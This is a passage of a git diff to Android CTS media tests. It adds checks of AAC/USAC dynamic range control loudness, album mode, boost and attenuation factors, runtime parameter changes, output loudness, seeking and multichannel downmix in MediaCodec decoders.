+                }
+            }
+            nrgRatio = nrgRatio * normFactor;
+
+            // Check whether loudness behavior is as expected
+            if (nrgRatio > 1.05f || nrgRatio < 0.95f ){
+                throw new Exception("Loudness behavior not as expected");
+            }
         }
+    }
 
-        float nrgRatio = nrg_def[0]/nrg_test[0];
+    /**
+    * AAC test Output Loudness
+    */
+    private void checkAacDrcOutputLoudness(int testInput, int decoderTargetLevel, int expectedOutputLoudness, String decoderName) throws Exception {
+        for (boolean runtimeChange : new boolean[] {false, true}) {
+            AudioParameter decParams = new AudioParameter();
+            DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, 0, 6);
 
-        // Check for loudness boost/attenuation if decoderTargetLevel deviates from default value
-        // used in these tests (note that the default target level can change from platform
-        // to platform, or device to device)
-        if ((decoderTargetLevel < DEFAULT_DECODER_TARGET_LEVEL) // boosted loudness
-                && (nrg_def[0] > nrg_test[0])) {
-            throw new Exception("Signal not attenuated");
-        } else if ((decoderTargetLevel > DEFAULT_DECODER_TARGET_LEVEL) // attenuated loudness
-                && (nrg_def[0] < nrg_test[0])) {
-            throw new Exception("Signal not boosted");
-        }
-        nrgRatio = nrgRatio * normFactor;
-
-        // Check whether loudness behavior is as expected
-        if (nrgRatio > 1.05f || nrgRatio < 0.95f ){
-            throw new Exception("Loudness behavior not as expected");
+            // Check drc loudness preference
+            short[] decSamples_test = decodeToMemory(decParams, testInput, -1, null,
+                    drcParams_test, decoderName, runtimeChange, expectedOutputLoudness);
         }
     }
 
 
     /**
-     *  Class handling all MPEG-4 and MPEG-D Dynamic Range Control (DRC) parameter relevant for testing
+     *  Class handling all MPEG-4 and MPEG-D Dynamic Range Control (DRC) parameter relevant
+     *  for testing
      */
     protected static class DrcParams {
         int mBoost;                          // scaling of boosting gains
@@ -366,6 +499,7 @@
         int mDecoderTargetLevel;             // desired target output level (for normalization)
         int mHeavy;                          // en-/disable heavy compression
         int mEffectType;                     // MPEG-D DRC Effect Type
+        int mAlbumMode;                      // MPEG-D DRC Album Mode
 
         public DrcParams() {
             mBoost = 127;               // no scaling
@@ -381,12 +515,15 @@
         }
 
         public DrcParams(int boost, int cut, int decoderTargetLevel, int heavy, int effectType) {
-            mBoost = boost;
-            mCut = cut;
-            mDecoderTargetLevel = decoderTargetLevel;
-            mHeavy = heavy;
+            this(boost, cut, decoderTargetLevel, heavy);
             mEffectType = effectType;
         }
+
+        public DrcParams(int boost, int cut, int decoderTargetLevel, int heavy, int effectType,
+                int albumMode) {
+            this(boost, cut, decoderTargetLevel, heavy, effectType);
+            mAlbumMode = albumMode;
+        }
     }
 
 
@@ -394,8 +531,10 @@
     //          - addition of application of DRC parameters
     //          - no need/use of resetMode, configMode
     //       Split method so code can be shared
-    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
-            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName)
+
+    private short[] decodeToMemory(AudioParameter audioParams, int testinput, int eossample,
+            List<Long> timestamps, DrcParams drcParams, String decoderName, boolean runtimeChange,
+            int expectedOutputLoudness)
             throws IOException
     {
         String localTag = TAG + "#decodeToMemory";
@@ -430,19 +569,45 @@
         if (drcParams != null) {
             configFormat.setInteger(MediaFormat.KEY_AAC_DRC_BOOST_FACTOR, drcParams.mBoost);
             configFormat.setInteger(MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR, drcParams.mCut);
-            if (drcParams.mDecoderTargetLevel != 0) {
-                configFormat.setInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL,
-                        drcParams.mDecoderTargetLevel);
+            if (!runtimeChange) {
+                if (drcParams.mDecoderTargetLevel != 0) {
+                    configFormat.setInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL,
+                            drcParams.mDecoderTargetLevel);
+                }
             }
             configFormat.setInteger(MediaFormat.KEY_AAC_DRC_HEAVY_COMPRESSION, drcParams.mHeavy);
         }
         Log.v(localTag, "configuring with " + configFormat);
         codec.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
 
+        if (drcParams != null && sIsAndroidRAndAbove) { // querying output format requires R
+            if(!runtimeChange) {
+                // check if MediaCodec gives back correct drc parameters
+                if (drcParams.mDecoderTargetLevel != 0) {
+                    final int targetLevelFromCodec = codec.getOutputFormat()
+                            .getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                    if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
+                        fail("DRC Target Ref Level received from MediaCodec is not the level set");
+                    }
+                }
+            }
+        }
+
         codec.start();
         codecInputBuffers = codec.getInputBuffers();
         codecOutputBuffers = codec.getOutputBuffers();
 
+        if (drcParams != null) {
+            if (runtimeChange) {
+                if (drcParams.mDecoderTargetLevel != 0) {
+                    Bundle b = new Bundle();
+                    b.putInt(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL,
+                            drcParams.mDecoderTargetLevel);
+                    codec.setParameters(b);
+                }
+            }
+        }
+
         extractor.selectTrack(0);
 
         // start decoding
@@ -539,10 +704,59 @@
             fail("decoder stopped outputing data");
         }
 
+        // check if MediaCodec gives back correct drc parameters (R and above)
+        if (drcParams != null && sIsAndroidRAndAbove) {
+            if (drcParams.mDecoderTargetLevel != 0) {
+                final int targetLevelFromCodec = codec.getOutputFormat()
+                        .getInteger(MediaFormat.KEY_AAC_DRC_TARGET_REFERENCE_LEVEL);
+                if (targetLevelFromCodec != drcParams.mDecoderTargetLevel) {
+                    fail("DRC Target Ref Level received from MediaCodec is not the level set");
+                }
+            }
+
+            final MediaFormat outputFormat = codec.getOutputFormat();
+            final int cutFromCodec = outputFormat.getInteger(
+                    MediaFormat.KEY_AAC_DRC_ATTENUATION_FACTOR);
+            assertEquals("Attenuation factor received from MediaCodec differs from set:",
+                    drcParams.mCut, cutFromCodec);
+            final int boostFromCodec = outputFormat.getInteger(
+                    MediaFormat.KEY_AAC_DRC_BOOST_FACTOR);
+            assertEquals("Boost factor received from MediaCodec differs from set:",
+                    drcParams.mBoost, boostFromCodec);
+        }
+
+        // expectedOutputLoudness == -2 indicates that output loudness is not tested
+        if (expectedOutputLoudness != -2 && sIsAndroidRAndAbove) {
+            final int outputLoudnessFromCodec = codec.getOutputFormat()
+                    .getInteger(MediaFormat.KEY_AAC_DRC_OUTPUT_LOUDNESS);
+            if (outputLoudnessFromCodec != expectedOutputLoudness) {
+                fail("Received decoder output loudness is not the expected value");
+            }
+        }
+
         codec.stop();
         codec.release();
         return decoded;
     }
 
+    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
+            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName)
+            throws IOException
+    {
+        final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
+                drcParams, decoderName, false, -2);
+        return decoded;
+    }
+
+    private short[] decodeToMemory(AudioParameter audioParams, int testinput,
+            int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName,
+            boolean runtimeChange)
+            throws IOException
+    {
+        final short[] decoded = decodeToMemory(audioParams, testinput, eossample, timestamps,
+                drcParams, decoderName, runtimeChange, -2);
+        return decoded;
+    }
+
 }
 
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacFormat.java b/tests/tests/media/src/android/media/cts/DecoderTestAacFormat.java
new file mode 100755
index 0000000..4e9c43e
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/DecoderTestAacFormat.java
@@ -0,0 +1,232 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.content.res.AssetFileDescriptor;
+import android.content.res.Resources;
+import android.media.MediaCodec;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.cts.DecoderTest.AudioParameter;
+import android.media.cts.R;
+import android.os.Build;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+
+public class DecoderTestAacFormat {
+    private static final String TAG = "DecoderTestAacFormat";
+
+    private static final boolean sIsAndroidRAndAbove =
+            ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
+    private Resources mResources;
+
+    @Before
+    public void setUp() throws Exception {
+        final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
+        assertNotNull(inst);
+        mResources = inst.getContext().getResources();
+    }
+
+    /**
+     * Verify downmixing to stereo at decoding of MPEG-4 HE-AAC 5.0 and 5.1 channel streams
+     */
+    @Test
+    public void testHeAacM4aMultichannelDownmix() throws Exception {
+        Log.i(TAG, "START testDecodeHeAacMcM4a");
+
+        if (!MediaUtils.check(sIsAndroidRAndAbove, "M-chan downmix fixed in Android R"))
+            return;
+
+        // array of multichannel resources with their expected number of channels without downmixing
+        int[][] samples = {
+                //  {resourceId, numChannels},
+                {R.raw.noise_5ch_48khz_aot5_dr_sbr_sig1_mp4, 5},
+                {R.raw.noise_6ch_44khz_aot5_dr_sbr_sig2_mp4, 6},
+        };
+        for (int[] sample: samples) {
+            for (String codecName : DecoderTest.codecsFor(sample[0] /* resource */, mResources)) {
+                // verify correct number of channels is observed without downmixing
+                AudioParameter chanParams = new AudioParameter();
+                decodeUpdateFormat(codecName, sample[0] /*resource*/, chanParams, 0 /*no downmix*/);
+                assertEquals("Number of channels differs for codec:" + codecName,
+                        sample[1], chanParams.getNumChannels());
+
+                // verify correct number of channels is observed when downmixing to stereo
+                AudioParameter downmixParams = new AudioParameter();
+                decodeUpdateFormat(codecName, sample[0] /* resource */, downmixParams,
+                        2 /*stereo downmix*/);
+                assertEquals("Number of channels differs for codec:" + codecName,
+                        2, downmixParams.getNumChannels());
+
+            }
+        }
+    }
+
+    /**
+     *
+     * @param decoderName
+     * @param testInput
+     * @param audioParams
+     * @param downmixChannelCount 0 if no downmix requested,
+     *                           positive number for number of channels in requested downmix
+     * @throws IOException
+     */
+    private void decodeUpdateFormat(String decoderName, int testInput, AudioParameter audioParams,
+            int downmixChannelCount)
+            throws IOException
+    {
+        AssetFileDescriptor testFd = mResources.openRawResourceFd(testInput);
+
+        MediaExtractor extractor = new MediaExtractor();
+        extractor.setDataSource(testFd.getFileDescriptor(), testFd.getStartOffset(),
+                testFd.getLength());
+        testFd.close();
+
+        assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
+        MediaFormat format = extractor.getTrackFormat(0);
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        assertTrue("not an audio file", mime.startsWith("audio/"));
+
+        MediaCodec decoder;
+        if (decoderName == null) {
+            decoder = MediaCodec.createDecoderByType(mime);
+        } else {
+            decoder = MediaCodec.createByCodecName(decoderName);
+        }
+
+        MediaFormat configFormat = format;
+        if (downmixChannelCount > 0) {
+            configFormat.setInteger(
+                    MediaFormat.KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT, downmixChannelCount);
+        }
+
+        Log.v(TAG, "configuring with " + configFormat);
+        decoder.configure(configFormat, null /* surface */, null /* crypto */, 0 /* flags */);
+
+        decoder.start();
+        ByteBuffer[] codecInputBuffers = decoder.getInputBuffers();
+        ByteBuffer[] codecOutputBuffers = decoder.getOutputBuffers();
+
+        extractor.selectTrack(0);
+
+        // start decoding
+        final long kTimeOutUs = 5000;
+        MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+        boolean sawInputEOS = false;
+        boolean sawOutputEOS = false;
+        int noOutputCounter = 0;
+        int samplecounter = 0;
+        short[] decoded = new short[0];
+        int decodedIdx = 0;
+        while (!sawOutputEOS && noOutputCounter < 50) {
+            noOutputCounter++;
+            if (!sawInputEOS) {
+                int inputBufIndex = decoder.dequeueInputBuffer(kTimeOutUs);
+
+                if (inputBufIndex >= 0) {
+                    ByteBuffer dstBuf = codecInputBuffers[inputBufIndex];
+
+                    int sampleSize =
+                            extractor.readSampleData(dstBuf, 0 /* offset */);
+
+                    long presentationTimeUs = 0;
+
+                    if (sampleSize < 0) {
+                        Log.d(TAG, "saw input EOS.");
+                        sawInputEOS = true;
+                        sampleSize = 0;
+                    } else {
+                        samplecounter++;
+                        presentationTimeUs = extractor.getSampleTime();
+                    }
+                    decoder.queueInputBuffer(
+                            inputBufIndex,
+                            0 /* offset */,
+                            sampleSize,
+                            presentationTimeUs,
+                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+
+                    if (!sawInputEOS) {
+                        extractor.advance();
+                    }
+                }
+            }
+
+            int res = decoder.dequeueOutputBuffer(info, kTimeOutUs);
+
+            if (res >= 0) {
+                if (info.size > 0) {
+                    noOutputCounter = 0;
+                }
+
+                int outputBufIndex = res;
+                ByteBuffer buf = codecOutputBuffers[outputBufIndex];
+
+                if (decodedIdx + (info.size / 2) >= decoded.length) {
+                    decoded = Arrays.copyOf(decoded, decodedIdx + (info.size / 2));
+                }
+
+                buf.position(info.offset);
+                for (int i = 0; i < info.size; i += 2) {
+                    decoded[decodedIdx++] = buf.getShort();
+                }
+
+                decoder.releaseOutputBuffer(outputBufIndex, false /* render */);
+
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.d(TAG, "saw output EOS.");
+                    sawOutputEOS = true;
+                }
+            } else if (res == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                codecOutputBuffers = decoder.getOutputBuffers();
+                Log.d(TAG, "output buffers have changed.");
+            } else if (res == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                MediaFormat outputFormat = decoder.getOutputFormat();
+                audioParams.setNumChannels(outputFormat.getInteger(MediaFormat.KEY_CHANNEL_COUNT));
+                audioParams.setSamplingRate(outputFormat.getInteger(MediaFormat.KEY_SAMPLE_RATE));
+                Log.i(TAG, "output format has changed to " + outputFormat);
+            } else {
+                Log.d(TAG, "dequeueOutputBuffer returned " + res);
+            }
+        }
+        if (noOutputCounter >= 50) {
+            fail("decoder stopped outputing data");
+        }
+        decoder.stop();
+        decoder.release();
+        extractor.release();
+    }
+}
+
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index 4a2b9db..8536f30 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -32,10 +32,15 @@
 import android.media.cts.DecoderTest.AudioParameter;
 import android.media.cts.DecoderTestAacDrc.DrcParams;
 import android.media.cts.R;
+import android.os.Build;
 import android.util.Log;
+import android.os.Bundle;
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
 import org.junit.Before;
 import org.junit.Test;
 
@@ -48,6 +53,9 @@
 public class DecoderTestXheAac {
     private static final String TAG = "DecoderTestXheAac";
 
+    private static final boolean sIsAndroidRAndAbove =
+            ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+
     private Resources mResources;
 
     // list of all AAC decoders as enumerated through the MediaCodecList
@@ -116,7 +124,7 @@
         } catch (Exception e) {
             Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/0 failed for dec=" + aacDecName);
             throw new RuntimeException(e);
-        } 
+        }
 
         // test DRC effectTypeID 2 "NOISY"
         // L +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
@@ -220,6 +228,43 @@
     }
 
     /**
+     * Verify the correct decoding of USAC bitstreams with album mode.
+     */
+    @Test
+    public void testDecodeUsacDrcAlbumModeM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacDrcAlbumModeM4a");
+
+        // Album mode is R feature
+        if (!MediaUtils.check(sIsAndroidRAndAbove, "Album mode support requires Android R"))
+                return;
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacDrcAlbumModeM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacDrcAlbumModeM4a(String aacDecName) throws Exception {
+        // test DRC Album Mode
+        // Track loudness = -19dB
+        // Album Loudness = -21 dB
+        // Fading Gains = -6 dB
+        // Album Mode ON : Gains = -24 - (-21) = -3dB
+        // Album Mode OFF : Gains = (-24 -(-19)) + (-6) = -11 dB
+        try {
+            checkUsacDrcAlbumMode(R.raw.noise_2ch_48khz_tlou_19lufs_alou_21lufs_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcAlbumModeM4a for decoder" + aacDecName);
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
      * Verify the correct decoding of USAC bitstreams with config changes.
      */
     @Test
@@ -317,6 +362,234 @@
         }
     }
 
+    /**
+     * Verify the correct decoding of USAC bitstreams with different boost and attenuation settings
+     */
+    @Test
+    public void testDecodeUsacDrcBoostAndAttenuationM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacDrcBoostAndAttenuationM4a");
+
+        if (!MediaUtils.check(sIsAndroidRAndAbove, "Att/Boost corrected in Android R"))
+            return;
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacDrcBoostAndAttenuationM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacDrcBoostAndAttenuationM4a(String aacDecName) throws Exception {
+        Log.v(TAG, "testDecodeUsacDrcBoostAndAttenuationM4a running for dec=" + aacDecName);
+        // test drcBoost and drcAttenuation parameters
+        // DRC effectTypeID 6 "GENERAL"
+        // L +6dB -> normalization factor = 10^(6/10 * (1 - boostFactor:64/127)) = 1.9844f
+        // R -3dB -> normalization factor = 10^(-3/10 * (1 - attenuationFactor:127/127)) = 1.0f
+        try {
+            checkUsacDrcBoostAndAttenuation(1.9844f, 1.0f, 64, 127, 2, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcBoostAndAttenuationM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test drcBoost and drcAttenuation parameters
+        // DRC effectTypeID 6 "GENERAL"
+        // L +6dB -> normalization factor = 10^(6/10 * (1 - boostFactor:127/127)) = 1.0f
+        // R -3dB -> normalization factor = 10^(-3/10 * (1 - attenuationFactor:64/127)) = 0.7099f
+        try {
+            checkUsacDrcBoostAndAttenuation(1.0f, 0.7099f, 127, 64, 2, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcBoostAndAttenuationM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test drcBoost and drcAttenuation parameters
+        // DRC effectTypeID 6 "GENERAL"
+        // L +6dB -> normalization factor = 10^(6/10 * (1 - boostFactor:0/127)) = 3.9811f
+        // R -3dB -> normalization factor = 10^(-3/10 * (1 - attenuationFactor:127/127)) = 1.0f
+        try {
+            checkUsacDrcBoostAndAttenuation(3.9811f, 1.0f, 0, 127, 2, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcBoostAndAttenuationM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test drcBoost and drcAttenuation parameters
+        // DRC effectTypeID 6 "GENERAL"
+        // L +6dB -> normalization factor = 10^(6/10 * (1 - boostFactor:127/127)) = 1.0f
+        // R -3dB -> normalization factor = 10^(-3/10 * (1 - attenuationFactor:0/127)) = 0.5012f
+        try {
+            checkUsacDrcBoostAndAttenuation(1.0f, 0.5012f, 127, 0, 2, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcBoostAndAttenuationM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * verify the correct decoding of USAC bitstreams when different kinds of loudness values
+     * are present
+     */
+    @Test
+    public void testDecodeUsacDrcLoudnessPreferenceM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacDrcLoudnessPreferenceM4a");
+
+        if (!MediaUtils.check(sIsAndroidRAndAbove, "Loudness preference in Android R"))
+            return;
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacDrcLoudnessPreferenceM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacDrcLoudnessPreferenceM4a(String aacDecName) throws Exception {
+        Log.v(TAG, "testDecodeUsacDrcLoudnessPreferenceM4a running for dec=" + aacDecName);
+        // test drc loudness preference
+        // anchor loudness (-17 LUFS) and program loudness (-19 LUFS) are present in one stream
+        // -> anchor loudness should be selected
+        // the bitstream is decoded with targetLoudnessLevel = -16 LUFS and
+        // checked against the energy of the decoded signal without loudness normalization
+        // normfactor = loudness of waveform - targetLoudnessLevel = -1dB = 0.7943
+        try {
+            checkUsacDrcLoudnessPreference(
+                    R.raw.noise_2ch_48khz_tlou_19lufs_anchor_17lufs_mp4, 0.7943f, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcLoudnessPreferenceM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test drc loudness preference
+        // expert loudness (-23 LUFS) and program loudness (-19 LUFS) are present in one stream
+        // -> expert loudness should be selected
+        // the bitstream is decoded with targetLoudnessLevel = -16 LUFS and
+        // checked against the energy of the decoded signal without loudness normalization
+        // normfactor = loudness of waveform - targetLoudnessLevel = -7dB = 0.1995
+        try {
+            checkUsacDrcLoudnessPreference(
+                    R.raw.noise_2ch_48khz_tlou_19lufs_expert_23lufs_mp4, 0.1995f, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcLoudnessPreferenceM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Verify that the correct output loudness values are returned when decoding USAC bitstreams
+     */
+    @Test
+    public void testDecodeUsacDrcOutputLoudnessM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacDrcOutputLoudnessM4a");
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacDrcOutputLoudnessM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacDrcOutputLoudnessM4a(String aacDecName) throws Exception {
+        Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a running for dec=" + aacDecName);
+        // test drc output loudness
+        // testfile without loudness metadata and loudness normalization off -> expected value: -1
+        try {
+            checkUsacDrcOutputLoudness(
+                    R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4, -1, -1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a running for dec=" + aacDecName);
+        // test drc output loudness
+        // testfile without loudness metadata and loudness normalization on
+        // -> expected value: -1
+        try {
+            checkUsacDrcOutputLoudness(
+                    R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4, 64, -1, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test drc output loudness
+        // testfile with MPEG-D DRC loudness metadata and loudness normalization off
+        // -> expected value: loudness metadata in bitstream (-19*-4 = 76)
+        try {
+            checkUsacDrcOutputLoudness(
+                    R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, -1, 76, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test drc output loudness
+        // testfile with MPEG-D DRC loudness metadata and loudness normalization off
+        // -> expected value: loudness metadata in bitstream (-22*-4 = 88)
+        try {
+            checkUsacDrcOutputLoudness(
+                    R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4, -1, 88, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+
+        // test drc output loudness
+        // testfile with MPEG-D DRC loudness metadata and loudness normalization on
+        // -> expected value: target loudness value (92)
+        try {
+            checkUsacDrcOutputLoudness(
+                    R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, 92, 92, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacDrcOutputLoudnessM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+    }
+
+
+    /**
+     * Verify that seeking works correctly for USAC.
+     * Sync samples have to be taken into consideration.
+     */
+    @Test
+    public void testDecodeUsacSyncSampleSeekingM4a() throws Exception {
+        Log.v(TAG, "START testDecodeUsacSyncSampleSeekingM4a");
+
+        assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+        for (String aacDecName : sAacDecoderNames) {
+            try {
+                runDecodeUsacSyncSampleSeekingM4a(aacDecName);
+            } catch (Error err) {
+                throw new Error(err.getMessage() + " [dec=" + aacDecName + "]" , err);
+            }
+        }
+    }
+
+    private void runDecodeUsacSyncSampleSeekingM4a(String aacDecName) throws Exception {
+        Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
+        // test usac seeking
+        try {
+            checkUsacSyncSampleSeeking(R.raw.sine_2ch_48khz_aot42_seek_mp4, aacDecName);
+        } catch (Exception e) {
+            Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a failed for dec=" + aacDecName);
+            throw new RuntimeException(e);
+        }
+        Log.v(TAG, "testDecodeUsacSyncSampleSeekingM4a running for dec=" + aacDecName);
+    }
 
     /**
      *  Internal utilities
@@ -328,40 +601,46 @@
     private void checkUsacDrcEffectType(int effectTypeID, float normFactor_L, float normFactor_R,
                  String effectTypeName, int nCh, int aggressiveDrc, String decoderName)
                          throws Exception {
-        int testinput = -1;
-        AudioParameter decParams = new AudioParameter();
-        DrcParams drcParams_def  = new DrcParams(127, 127, 96, 0, -1);
-        DrcParams drcParams_test = new DrcParams(127, 127, 96, 0, effectTypeID);
+        for (boolean runtimeChange : new boolean[] {false, true}) {
+            if (runtimeChange && !sIsAndroidRAndAbove) {
+                // changing decoder configuration after it has been initialized requires R and above
+                continue;
+            }
+            int testinput = -1;
+            AudioParameter decParams = new AudioParameter();
+            DrcParams drcParams_def  = new DrcParams(127, 127, 96, 0, -1);
+            DrcParams drcParams_test = new DrcParams(127, 127, 96, 0, effectTypeID);
 
-        if (aggressiveDrc == 0) {
-            testinput = R.raw.noise_2ch_32khz_aot42_19_lufs_drc_mp4;
-        } else {
+            if (aggressiveDrc == 0) {
+                testinput = R.raw.noise_2ch_32khz_aot42_19_lufs_drc_mp4;
+            } else {
+                if (nCh == 2) {
+                    testinput = R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4;
+                } else if (nCh == 1){
+                    testinput = R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4;
+                }
+            }
+
+            short[] decSamples_def  = decodeToMemory(decParams, testinput,
+                    -1, null, drcParams_def, decoderName);
+            short[] decSamples_test = decodeToMemory(decParams, testinput,
+                    -1, null, drcParams_test, decoderName, runtimeChange);
+
+            float[] nrg_def  = checkEnergyUSAC(decSamples_def, decParams, nCh, 1, 0);
+            float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, nCh, 1, 1);
+
             if (nCh == 2) {
-                testinput = R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4;
+                float nrgRatio_L = (nrg_test[1]/nrg_def[1])/normFactor_L;
+                float nrgRatio_R = (nrg_test[2]/nrg_def[2])/normFactor_R;
+                if ((nrgRatio_R > 1.05f || nrgRatio_R < 0.95f)
+                        || (nrgRatio_L > 1.05f || nrgRatio_L < 0.95f) ){
+                    throw new Exception("DRC Effect Type '" + effectTypeName + "' not as expected");
+                }
             } else if (nCh == 1){
-                testinput = R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4;
-            }
-        }
-
-        short[] decSamples_def  = decodeToMemory(decParams, testinput,
-                -1, null, drcParams_def, decoderName);
-        short[] decSamples_test = decodeToMemory(decParams, testinput,
-                -1, null, drcParams_test, decoderName);
-
-        float[] nrg_def  = checkEnergyUSAC(decSamples_def, decParams, nCh, 1, 0);
-        float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, nCh, 1, 1);
-
-        if (nCh == 2) {
-            float nrgRatio_L = (nrg_test[1]/nrg_def[1])/normFactor_L;
-            float nrgRatio_R = (nrg_test[2]/nrg_def[2])/normFactor_R;
